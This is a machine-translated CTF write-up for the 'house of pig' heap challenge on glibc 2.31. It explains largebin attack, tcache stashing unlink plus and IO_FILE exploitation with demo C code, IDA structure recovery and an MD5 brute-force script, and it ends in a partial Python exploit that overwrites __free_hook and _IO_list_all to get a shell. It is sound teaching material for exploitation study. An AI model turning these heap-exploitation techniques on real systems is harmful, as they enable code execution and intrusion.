Before reproducing this question, you need to know some pre knowledge: largebin under libc2.31_ attack,tcache_stashing_unlink plus and IO under glibc_ File attack
First, see largebin under libc2.31_ attack
0x1.largebin under libc2.31_ attack
Follow the largebin in the how2heap project_ Attack and source code debugging.
Starting with libc2.30, two checks have been added to largebin's insert code
See the first point first
When the unseorted bin is inserted into the largebin, and the unseorted bin is larger than the size of largebin, a two-way linked list integrity check is added in the insertion process.
It is usually to modify the BK of largebin_ nextsize=target_addr-0x20, and then when inserting an unseorted bin larger than the original largebin (later, the original largebin is called largebin1, and the newly inserted largebin2), the BK of largebin1 is_ Nextsize is set to BK of largebin1_ Nextsize, i.e. target_addr-0x20, subsequent victim - > bk_nextsize->fd_ The statement nextsize = victim will_ The addr-0x20 + 0x20 position writes the address of largebin2, which is the first point.
The second point is as follows
The utilization method here is to modify BK = target of largebin1_ addr-0x10,bck = fwd->bk; bck->fd = victim; After these two sentences are executed, target will be_ Write the address of largebin1 at the position of addr-0x10 + 0x10.
As shown in the figure, checks are added in both places.
However, when the unseorted bin to be inserted is smaller than the size of largebin, it is not checked, as shown in the following figure
There is no check here, so it has become a new utilization point under libc2.31.
The demo file is as follows
#include<stdio.h> #include<stdlib.h> #include<assert.h> /* A revisit to large bin attack for after glibc2.30 Relevant code snippet : if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } */ int main(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0); size_t target = 0; size_t *p1 = malloc(0x428); size_t *g1 = malloc(0x18); size_t *p2 = malloc(0x418); size_t *g2 = malloc(0x18); free(p1); size_t *g3 = malloc(0x438); free(p2); p1[3] = (size_t)((&target)-4); size_t *g4 = malloc(0x438); assert((size_t)(p2-2) == target); return 0; }
I deleted some descriptive code from the original file for viewing.
The overall attack idea is to apply for two chunks (hereinafter referred to as chunk1 and chunk2), free out chunk1, and then apply for a larger chunk to insert chunk1 from unsortedbin into largebin, and then insert the BK of chunk1_ Set nextsize to target_addr-0x20, this is the first step; The second step is to free out chunk2, and then apply for a larger chunk to insert chunk2 from unsortedbin into largebin. Since the size of the inserted chunk2 is smaller than chunk1, a new attack process will be triggered. Here, we use source code debugging to learn more intuitively.
From program execution to size_t *g4 = malloc(0x438); In this sentence, the heap is as follows
The chunk of 0x430 is placed in the largebin, and the chunk of 0x420 is placed in the unsortedbin
BK of chunk1_ Nextsize is set to target_addr-0x20
Next, we'll take the breakpoint_ int_malloc function
Then we run the code that inserts the unsortedbin into largebin
First, get the index of the largebin corresponding to the unsortedbin to be inserted, and then get the corresponding chain header
Since there is already a chunk in largebin at this time, fd and bk corresponding to the chain header are set as the address of this largebin, similar to the following
Then enter the insertion link
Assign bck, that is, the chain header to fwd, and assign bck - > BK (address of chunk1) to bck. Enter the insertion operation. First, FD of chunk2 (chuhnk to be inserted)_ Next size is set to the address of chunk1
Then the BK of chunk2_ BK with nextsize set to chunk1_ Nextsize, while chunk1's bk_nextsize has been modified to target_addr-0x20, so the BK of chunk2_ Nextsize will also point to target_addr-0x20
The last line of code is used to modify the FD of chunk1_ Nextsize and bk_nextsize is the address of chunk2, because the FD of chunk1 is set_ Nextsize is through
victim->bk_ nextsize->fd_ Next size, and victim - > Bk_ Nextsize refers to a wrong address. After executing this assignment statement, it will be in target_ Write the address of chunk2 at the position of addr + 0x20
So far, it is similar to the unsortedbin attack under libc2.23, and writes a heap address to any address.
0x2.tcache_stashing_unlink plus
In this way, a chunk can be allocated at any address
The demo is as follows
#include <stdio.h> #include <stdlib.h> #include <inttypes.h> static uint64_t victim[4] = {0, 0, 0, 0}; int main(int argc, char **argv){ setbuf(stdout, 0); setbuf(stderr, 0); char *t1; char *s1, *s2, *pad; char *tmp; printf("You can use this technique to get a tcache chunk to arbitrary address\n"); printf("\n1. need to know heap address and the victim address that you need to attack\n"); tmp = malloc(0x1); printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n", &victim, victim[0], victim[1], victim[2], victim[3]); printf("heap address: %p\n", tmp-0x260); printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n"); victim[1] = (uint64_t)(&victim); printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n", victim[0], victim[1], victim[2], victim[3]); printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n"); printf("Here, I choose the size 0x60\n"); for(int i=0; i<5; i++){ t1 = calloc(1, 0x50); free(t1); } printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n", t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4); printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n"); s1 = malloc(0x420); printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1); pad = malloc(0x20); printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1); free(s1); printf("Free chunk %p to unsortedbin\n", s1); malloc(0x3c0); printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n"); malloc(0x100); printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n"); printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0); printf("Repeat the above steps, and free another chunk into corresponding smallbin\n"); printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n"); s2 = malloc(0x420); pad = malloc(0x80); free(s2); malloc(0x3c0); malloc(0x100); printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0); printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0); printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n"); printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10); *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10; printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n"); calloc(1, 0x50); printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n", &victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4); printf("Apply to tcache_entry[4], you can get a pointer to victim address\n"); uint64_t *r = (uint64_t*)malloc(0x50); r[0] = 0xaa; r[1] = 0xbb; r[2] = 0xcc; r[3] = 0xdd; printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n", victim[0], victim[1], victim[2], victim[3]); return 0; }
The overall idea is as follows
1. Put five in tcache and two in smallbin
2. Modify the BK of the chunk of the backward smallbin (without destroying the fd pointer) to the target address - 0x10, and set the value at the target address + 0x8 to a pointer to the writable memory.
3. Take a chunk from smallbin. After the stash process, the target address will be linked into tcache.
Still source debugging
Set the breakpoint to calloc(1, 0x50); This line, and_ int_malloc
Let's take a look at the memory at this time
Victim is our target. The position of & victim + 0x8 has been set as a pointer to writable memory
The bk pointer of smallbin after entering points to & victim-0x10
There are five in the tcache of 0x60 and two in the smallbin of 0x60
Next, we follow up to int_malloc
Since calloc does not take a chunk from tcache, it will directly take a chunk from smallbin
The structure of the chain header and the two smallbin s is as follows
victim = last (bin) takes the last chunk (it can be seen clearly from the above structure diagram)
last is a macro definition, as follows
#define last(b) ((b)->bk)
Then traverse forward, take the penultimate chunk, and check the integrity of the two-way linked list
bin->bk = bck; bck->fd = bin;
These two codes unlink the last chunk. After execution, the structure is as follows
Then run here
size_t tc_idx = csize2tidx (nb); It will first calculate which chain of tcache corresponds to the size of the chunk applied at this time
If there is space in tcache of this chain and smallbin also has chunk s
If the conditions are met, then take out the last chunk in smallbin
bck = tc_ victim->bk;// Take the penultimate smallbin, but TC_ Victim - > BK has been set to & victim-0x10
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;// Unlink the penultimate chunk
Run the above codes in sequence
bck, if we analyze the same, is & victim-0x10
The bk pointer of the chain header points to & victim-0x10
BCK - > FD = bin, i.e. & victim-0x10 + 0x10 = & victim is set as the bin header. After chaining, the structure is as follows
Then tc_victim into tcache
Before putting
After putting
I believe you can probably understand why this attack method can assign a chunk to any address. At this time, there is still a vacancy in tcache. The program will continue to take chunk from smallbin and put it into tcache. At this time, only victim is left in smallbin. Let's continue debugging
A new round of tc_victim is & victim-0x10
Next, you will find the penultimate chunk
Therefore, we need to set & victim-0x10 + 0x18 as a writable address x to write the bin header address, which is set at the beginning of demo.
victim[1] = (uint64_t)(&victim);
The next step is to continue to unlink and then add victim to tcache
This completes the attack
0x3. In higher version_ IO_FILE utilization
Under 2.23, a general attack on the file structure is to hijack IO functions_ The chain field is our forged io_ FILE_ Add, and then modify the IO in the vtable table_ str_ Overflow is system. In higher versions of libc, such as libc2.31, IO is still used_ str_ Overflow this function, but IO_ str_ The implementation of the overflow function has changed
int _IO_str_overflow (FILE *fp, int c) { int flush_only = c == EOF; size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; }
You can see io_str_overflow calls malloc, memcpy, free and other functions
Let's go back to malloc's parameter new_ Source of size
size_t new_size = 2 * old_blen + 100; size_t old_blen = _IO_blen (fp); #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
If we can control (FP) - >_ IO_ buf_ end - (fp)->_ IO_ buf_ Base can control the chunk size of malloc application. See the following paragraph
if (old_buf)//char *old_buf = fp->_IO_buf_base; { memcpy (new_buf, old_buf, old_blen); free (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; }
If old_ If there is data in the memory space pointed to by buf, memcpy will be used to replace old_ Copy the data in buf to new_ In buf, the length of the copy is old_blen, and then free (old_buf);
See again_ IO_ str_ Assembly of overflow
In the + 53 line, the value at [rdi+0x28] will be sent to rdx. Since libc2.29, the gadget index in setcontext has changed from rdi to rdx. You need to control the value of rdx before subsequent srop
And_ IO_ str_ The assembly in overflow can assign rdx exactly, and the source is rdi. rdi is exactly the first address of the FILE structure. We can srop only by setting fp+0x28 as the address we can control, and this statement is executed before malloc, so the method is: first set malloc_hook is set to setcontext+61, and then triggered_ IO_str_overflow, set the corresponding data in the FILE structure we forged in advance, so as to assign rdx to the address we can control, and then_ IO_str_overflow calls malloc to trigger setcontext for srop.
The conditions for triggering malloc are as follows
fp->_flags=0;//if (fp->_flags & _IO_USER_BUF) return EOF;/* not allowed to enlarge */ fp->_IO_write_ptr=srop_addr /* 0x0 _flags 0x8 _IO_read_ptr 0x10 _IO_read_end 0x18 _IO_read_base 0x20 _IO_write_base 0x28 _IO_write_ptr 0x00007ffff7e2f0dd <+61>: mov rsp,QWORD PTR [rdx+0xa0] */ new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100); memcpy (new_buf, fp->_IO_buf_base, (fp)->_IO_buf_end - (fp)->_IO_buf_base); free (fp->_IO_buf_base);
0x4.house of pig
libc version is 2.31, written in c + +
0x1. Repair switch table
IDA decompile and view the main function
See one __ ASM {JMP rax}. This is because IDA failed to correctly recognize the switch jump. Fix it and see the assembly
The address of jmp rax is 0x3794 and the jump table is 0x69e0
The jump table is byte by byte. Press d continuously to modify it into a group of four bytes, with a total of 6 jumps
Next, start to repair the jump table. First select the assembly of jmp rax, and then select specify switch idiom according to the following path
The configuration is as follows
From top to bottom
Address of jump table; Number of jumps; The length of each jump value; Base value; The position where the jump starts; Register used for jump; /; Default jump position.
After the repair is successful, it is shown below
Much more comfortable.
0x2. Restore structure
Start analyzer
Click any function at the beginning of the program
A series of operations to assign 0. I don't understand what it means. Continue
Find menu
There are five functions: adding, querying, modifying, deleting and switching characters
Click the function corresponding to case 1, that is, the add function
There is a switch nested inside. Click the function corresponding to case1 to have a look
It's very ugly. Many operations are performed on addresses. In this case, restore the structure of the program as much as possible to facilitate subsequent analysis. First, roughly analyze the flow of this function.
You can apply up to 20 times. The size of the applied chunk must be greater than or equal to 0x90 and less than or equal to 0x430. And the size of the chunk of each application must be greater than or equal to that of the last application. The calloc function is used to apply for heap blocks, and calloc does not get from tcache.
*(_DWORD *)(unk_9070 + 0x150LL) = v8;
If size is legal, assign size to * (_ DWORD *)(unk_9070 + 0x150LL), this unk_9070 stores the address of a piece of memory from mmap.
*(_DWORD *)(a1 + 4 * (i + 48LL)) = v8; *(_BYTE *)(a1 + i + 288) = 0; *(_BYTE *)(a1 + i + 312) = 0;
This section of addressing is not clear. Let's modify the type of parameters passed in by this function
It was originally int64 type, and we modified it to char* , Press y on the parameter to modify the type
After modification, the above paragraph becomes as follows
In this way, it looks clearer than the above paragraph. Assign a1[4 * i + 0xC0] to size, and assign a1[i + 0x120] and a1[i + 0x138] to 0
Keep looking down
size/0x30, that is, slice the requested chunk in the size of 0x30, and read 0x10 bytes of data to the top of the slice each time.
This function is almost analyzed here, but if we want to restore the structure used by the program, this information is not enough. Continue to analyze other functions.
See case 2 of the add function again
The function of case 2 is different from that of case 1 in only a few places
The location where size is stored in mmap has changed
After the chunk is sliced, it is no longer written from the top, but from the offset 0x10
The functions corresponding to case3 are also different in these two places, so I won't say any more.
It can be guessed from the add function that the parameter passed in by the add function should be a structure,
*(_QWORD *)&a1[8 * i] = calloc(1uLL, v8); //Storage heap address *(_DWORD *)&a1[4 * i + 0xC0] = v8; //Store chunk size a1[i + 0x120] = 0; //Meaning unknown a1[i + 0x138] = 0;//Meaning unknown
See the view function again
First judge * (int *) (uNK_ Whether the value of 9070 + 0x404ll) is greater than 0, and then there are still three functions. Enter the first function
Enter a sequence number, and then there will be the following three judgments
*(_QWORD *)&a1[8 * v4] //Determine whether the chunk exists *(_DWORD *)&a1[4 * v4 + 0xC0] //Judge whether the corresponding size exists !a1[v4 + 0x120]
If these three conditions are met, the corresponding chunk value will be output
The other two functions are basically the same
See the edit function
Like the view function, the value * (int *) (uNK) of a global variable is checked at the beginning_ 9070 + 0x408ll) is greater than 0. Only when it is greater than 0 will it enter the sub function of edit. Check the first function
There are still three judgments, which are the same as the judgment of view. If you pass the judgment, you will write data to the chunk again. It is also slicing first and then writing data, which is the same as the logic in the add function
See the delete function
The delete function has no limit on the number of times and enters the first sub function
The delete function still has three checks
*(_QWORD *)&a1[8 * v4] && !a1[v4 + 0x120] && !a1[v4 + 0x138]
Check if chunk exists, check! a1[v4 + 0x120] And! A1 [V4 + 0x120] check whether the two positions are 0. If it passes the check, free is performed and the two flags are set to 1, but the heap pointer is not cleared to 0.
The first four functions are analyzed, and the fifth function will be discussed later. We will restore the structure used by the program through these four functions
The summary is as follows
1. The structure needs to store at least a heap address of 20*8=0xa0
2. Also need to store size data of 20*4=0x50
3. The view and edit functions use a1[v4 + Flag bit at 0x120]
4. The delete function uses a1[v4 + 0x138] and a1[v4 + The flag bit at 0x120], that is, the structure should have two flag bit groups, and the size of the array element is 1 byte. Therefore, the structure also needs to store flag bits with the size of 20*1*2=0x28
The preliminary guess is that the structure should be as follows
struct house { char *list[20]; int size[20]; char flag[20]; char flagg[20]; };
But this is actually wrong. Go back to the add function
The heap address is stored from the head of the structure, and the size data is stored from the structure offset 0xc0. If only 20 heap addresses are stored, only the size of 0xa0 is occupied, and the size should be stored from 0xa0; To store size from 0xc0, the upper limit of heap address storage should be 0xc0/0x8=0x18. Similarly, the upper limit of size, flag and flag should also be 0x18 (you can calculate by yourself. If the upper limit is 0x18, all offsets will be met). In this case, the structure should be as follows
struct house{ char *list[0x18]; int size[0x18]; char flag[0x18]; char flagg[0x18];};
After planning the structure, you can add it to ida
Click to the local types interface
Right click and select insert
Enter structure code directly
Our custom structure types will appear in local types
Let's go back to the add function and modify the parameter type
Change it to house * type
Modified successfully
We then modify the parameter types of the functions that use this structure in the program
For example, a large number of functions assigned 0 that we entered at the beginning become the following after modification
A little bit clear
Other positions that need to be modified into the house structure will not be modified one by one. You can operate them yourself
However, there is more than one structure in the program, in the add function
Obviously, the space pointed to by the value of 0x9070 is also a structure. Let's restore this structure next
At the beginning of the program, there is such a function
Copy the data pointing to the position 0x9070 into the house structure, and the copy size of each memcpy function is the size of different members of the house structure
Now let's move on to function 5 Change roles
Let's enter the password, call strlen to get the length of the password, and call sub_13C9 this function
unsigned __int64 __fastcall sub_13C9(_DWORD *a1) { unsigned __int64 v2; // [rsp-10h] [rbp-10h] v2 = __readfsqword(0x28u); *a1 = 0; a1[1] = 0; a1[2] = 0x67452301; a1[3] = 0xEFCDAB89; a1[4] = 0x98BADCFE; a1[5] = 0x10325476; return __readfsqword(0x28u) ^ v2; }
This string of hexadecimal numbers is a feature of md5 encryption, followed by sub_2916 and sub_2A8B doesn't need to look at it. In fact, it is to md5 encrypt the password we entered, and then compare the md5 encrypted data with the set md5 value. There are three conditions for comparison
If any one is satisfied, you can enter the if code block. Note that the first two comparisons use memcmp, while the third comparison uses strcmp. strcmp has the problem of 0 character truncation. We see DWORD_ six thousand nine hundred and twenty-eight
There is \ x00 at the beginning of this string of md5, so it will be truncated in advance when comparing with this string of md5 values. Therefore, we are only looking for the original value corresponding to md5 starting with 0x3c4400
We will see the if code block again. The code in if will determine which of a, B and C is the first character of the password we enter, and then return 1 or 2 or 3 to switch roles.
According to the above analysis, if we want to switch roles, the entered password needs to start with A, B or C, and after md5 encryption, it needs to start with 0x3c4400. There are still some original values of such A string of md5. We wrote A bad script, um, burst, and found the qualified password in 9 digits
import hashlib def main(): start = "3c4400" while True: for i in range(100000000): s='A'+str(i) #s='B'+str(i) #s='C'+str(i) print "Test %s " % s if hashlib.md5(s).hexdigest().startswith(start): f=open('list','w') f.write(s+'\n') f.close() if __name__ == '__main__': main() ''' A39275120 B3332073 C75929410 '''
If the masters have a better way, I hope they can give some advice (it's too delicious)
You'll see how to change the role later
switch according to the returned role value, select the function to be executed, and enter case1 to check
Copy the data of the house structure to qword_9070 medium
See case2
The same function, except that the target address of the copy has changed, and case3 is the same
So far, let's consider restoring qword_9070 points to the structure. Obviously, according to these three case s, we can infer this structure (later referred to as TMP)_ House) has at least three sizes of the house structure, but there are still some small details to pay attention to. See the add function later
case1
case2
In TMP_ The house structure also needs to store the size of the current size, and each role has a corresponding current_size, so tmp_house should also add three int sizes to the original three house structures, but this is still not enough
In the view function
tmp_ In the house structure, you also need to record the number of times you can view. Note that qword here_ 9070 + 0x101 does not mean that at the offset of 0x101, you also need to see that the pointer of int type in front is four bytes, so it should actually be the offset of 0x101*4=0x404, the current above_ So is size.
In the edit function
tmp_ You also need to record the number of times you can edit in the house structure
Therefore, TMP_ The house structure should be as follows
struct tmp_house { struct house peppa_house; int current_peppasize; struct house mummy_house; int current_mummysize; struct house daddy_house; int current_daddysize; int show_time; int edit_time; };
Create a structure in ida to see if our speculation is correct
add function
edit function
success
This is the end of the structure recovery. Now it will be much more comfortable to analyze the program (many pictures have been pasted. I hope the masters can see it clearly)
0x3. Vulnerability analysis
After the analysis in the previous stage, we have roughly combed the logic of the program. Now let's summarize and add what we haven't mentioned above
First, the program has three roles to choose from, and you can switch back and forth between the three roles. At the beginning of the program, the two flag bits of the structures of the three roles will be cleared to 0. After the program runs, the role of peppa is used by default. Each role has the five functions of adding, deleting, checking, changing and switching. In the view and edit functions, it will check whether the flag of the first flag is 0. Relevant operations can be carried out only when it is 0; The delete function will check whether the flag and flag bits are both 0, and free will be performed only when they are both 0. After free, the flag and flag flags are set to position 1, but the heap pointer is not cleared, so uaf may exist here; Then there is the process of switching roles. Suppose we switch from peppa to mummy
If next_character_num!=character_num, the house structure of the current role will be stored in global first_ In the house, see save_peppa_house this function
Watch carefully. Is there something missing? house has two flag bits, flag and flag, but only the flag bit is saved here. Continue to look down
Then according to next_character_num to restore the scene
In recover_ Global in the peppahouse function_ All data in the house is copied to the house structure of the corresponding role, while global_ The corresponding flag bit in the house is 0, that is, when we use peppa to free a chunk, flag=1, flag=1, and the pointer of the chunk is not cleared to 0, and then switch to mummy, only the flag bit will be stored. When we switch back to peppa, global will be saved_ The flag bit in the house is assigned to the house, so that peppa_house's flag=0 and flag=1. Except that it cannot delete again, the view and edit functions can be used, which is a uaf vulnerability. The same is true for other characters. Switching back and forth once can create a uaf.
0x4. Exploit
The program uses calloc to apply for a chunk, so tcache attack cannot be used, and the requested chunk must be greater than 0x90, and fastbin attack cannot be used (I don't know whether largebin can be used)_ Attack to attack global_max_fast?)
house of pig is essentially through libc2.31 largebin attack and The FILE structure is used to cooperate with the FILE structure under libc2.31 tcache stashing unlink attack Method of combined utilization
The overall idea is as follows:
1. tcache_stashing_unlink plus is ready to put five chunks into a tcache chain and two chunks into a smallbin of the same size,
2. Construct largebin, disclose libc address and heap address, conduct largebin attack for the first time, and free_ Write a heap address at the location of hook-0x8
3. tcache_stashing_unlink, free_hook-0x10 is chained into tcache header as a heap address, but we cannot apply for this chunk due to the use of calloc
4. Perform the second largebin attack and_ io_list_all is overwritten into a heap address, and we forge io on this heap_ FILE, the forged FILE structure needs to meet the requirements to call malloc to apply for the chunk in tcache, that is, we need to make 2 * ((FP) - >_ IO_ buf_ end - (fp)->_ IO_buf_base) + 100=free_ The size of the tcache chain where the hook is located, and also modify the vtable pointer, which originally points to IO_file_jumps, change it to point to_ IO_str_jumps, which should have called IO_file_overflow The following will be called instead IO_str_overflow, so that malloc can be called to apply for free_ The space at hook-0x10, and if_ IO_ buf_ If there is data in the space pointed to by the base, the data will be copied to the chunk applied by malloc, so we can use it in io_ buf_ The address of / bin/sh and system are arranged in the space pointed to by base, which is memcpy to free_hook-0x10, IO_str_overflow will free the IO in the end_ buf_ Base points to the chunk, which will trigger the system('/bin/sh')getshell
(I was too lazy, so I took the official exp to explain it directly. Masters are tolerant orz)
The first part is tcache_stashing_unlink prepare
Change(2) for x in xrange(5): Add(0x90, 'B'*0x28) # B0~B4 Del(x) # B0~B4 #Here, 0xa0's tcache contains five chunk s Change(1) Add(0x150, 'A'*0x68) # A0 for x in xrange(7): Add(0x150, 'A'*0x68) # A1~A7 Del(1+x) Del(0) #Put the chunk of 0x160 into the unsortedbin Change(2) Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0 #Divide the chunk of 0x160 into 0xc0 and 0xa0, and 0xa0 remains in the unsortedbin Change(1) Add(0x180, 'A'*0x78) # A8 #Put the unseortedbin of 0xa0 into smallbin. There is one in smallbin of 0xa0 for x in xrange(7): Add(0x180, 'A'*0x78) # A9~A15 Del(9+x) Del(8) #Turn the chunk of 0x190 into the unsortedbin Change(2) Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0 #Cut the unsortedbin and 0xa0 remains #----- leak libc_base and heap_base Change(1) Add(0x430, 'A'*0x158) # A16 #Put the unseortedbin of 0xa0 into smallbin. There are currently two chunk s of 0xa0 #So far, tcache_stashing_unlink's preparatory work is partially completed
The bins at this time is shown in the figure above
The second part is to disclose the libc address and heap address
Change(1) Add(0x430, 'A'*0x158) # A16 Change(2) Add(0xf0, 'B'*0x48) # B7 #B7 serves as the isolation between A16 and topchunk to prevent A16 from merging with topchunk after being free Change(1) Del(16) #free A16, put A16 into unsortedbin Change(2) Add(0x440, 'B'*0x158) # B8 #Apply for a chunk larger than the sortedbin. Put the sortedbin into the largebin, and there will be a chunk of 0x440 in the largebin #Since bk and fd of largebin are libc addresses, fd_nextsize and bk_nextsize is the heap address, so you can disclose the libc address and heap address through this largebin Change(1) #Switch roles, resulting in uaf Show(16) ru('message is: ') libc_base = uu64(rl()) - 0x1ebfe0 lg('libc_base') #Using uaf to disclose libc address Edit(16, 'A'*0xf+'\n') Show(16) ru('message is: '+'A'*0xf+'\n') heap_base = uu64(rl()) - 0x13940 lg('heap_base') #Use edit to cover fd and bk and reveal the heap address
The above figure shows the situation after A16 free
And the following figure shows the bins at this time
The third part is the first largebin_attack will free_hook-0x8 is written as a heap address
#----- first largebin_attack Edit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover #Recover fd and bk pointers of largebin of 0x440 Add(0x430, 'A'*0x158) # A17 #Apply for chunk in largebin Add(0x430, 'A'*0x158) # A18 Add(0x430, 'A'*0x158) # A19 #Subsequent use Change(2) Del(8) Add(0x450, 'B'*0x168) # B9 #Put the chunk of B8 0x440 into largebin Change(1) Del(17) #Put the chunk of A17 0x430 into the unsortedbin Change(2) free_hook = libc_base + libc.sym['__free_hook'] Edit(8, p64(0) + p64(free_hook-0x28) + '\n') #Modify FD of B8_ Nextsize and bk_nextsize to meet the requirements of largebin attack note: mummy's edit is written directly from the position offset 0x10. If you forget, you can see the program Change(3) Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8 #Before cutting the chunk of 0xb0 from the unsortedbin of 0x430, the chunk of 0x430 will be placed on the largebin first, and then cut. After cutting, the last remainder will be generated, and then the last remainder will be placed on the unsortedbin. When the unsortedbin is placed in the largebin, the largebinattack has already started to free_ A heap address was written at hook-0x8 Change(2) Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover #Restore site
Here, explain why Add(0xa0, 'C'*0x28) can trigger largebin_attack
In int_ The chunk in the unsortedbin is obtained at the beginning of the large loop of the malloc function
Let's look at it through source code debugging, but only mark a few key points. After all, this is not the focus of this article
pwndbg> p/x size $2 = 0x440 pwndbg> p victim $3 = (mchunkptr) 0x55a1135af940 unsortedbin all: 0x55a1135af940 —▸ 0x7f61ad8c2be0 (main_arena+96) ◂— 0x55a1135af940
The chunk in the unsortedbin is retrieved
Unlinking chunk s in unsortedbin
Insert unsortedbin into largebin
After this step, the largebin attack has actually been completed, but we continue to finish the process
There is an extra chunk in largebin
A lot of flag bits will be set later. We can directly see the cutting chunk
After cutting the previous unsortedbin, the remainder is generated
Then put the last_ Insert remainder into unsortedbin
At the end of the process, the first largebin attack is completed
free_hook-0x8 is written to a heap address
The fourth part is the second largebin attack_ io_list_all writes a heap address
#----- second largebin_attack Change(3) Add(0x380, 'C'*0x118) # C1 #Apply for lastremainder back Change(1) Del(19) #free A19, chunk with size of 0x430 Change(2) IO_list_all = libc_base + libc.sym['_IO_list_all'] Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n') #The old technique is repeated, and the chunk of 0x440 in largebin is changed to Bk_ Modify nextsize to IO_list_all-0x20 Change(3) Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all #As in part 3, trigger largebin_attack Change(2) Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover #Restore site
The second largebin attack is completed
Part V tcache_stashing_unlink plus IO_FILE attack
#----- tcache_stashing_unlink_attack and FILE attack Change(1) payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20) Edit(8, payload + '\n') #A8 was originally a chunk of 0x190 and then cut into chunks of 0xf0 and 0xa0. Due to uaf, edit A8 can be directly modified to fd and bk of smallbin of 0xa0 #tcache_ stashing_ The utilization condition of unlink plus is to modify bk to the target address - 0x10 without modifying fd. Our target address is free_hook-0x10, so change bk to free_hook-0x20 Change(3) payload = '\x00'*0x18 + p64(heap_base+0x147c0) payload = payload.ljust(0x158, '\x00') Add(0x440, payload) # C3 change fake FILE _chain #io_list_all is overwritten with the address of the largebin of 0x440. We apply for the largebin back, set the next chain in it, and forge IO in the chunk pointed to by the chain_ FILE Add(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache #Trigger tcache_stashing_unlink_attack, free_hook-0x10 linked to tcache IO_str_vtable = libc_base + 0x1ED560 system_addr = libc_base + libc.sym['system'] fake_IO_FILE = 2*p64(0) #According to our previous analysis, FP - > flag = 0 fake_IO_FILE += p64(1) #change _IO_write_base = 1 fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff #Meet FP - >_ IO_ write_ ptr - fp->_ IO_ write_ base >= _ IO_ buf_ end - _ IO_ buf_ base fake_IO_FILE += p64(0) fake_IO_FILE += p64(heap_base+0x148a0) #v4 _IO_buf_base fake_IO_FILE += 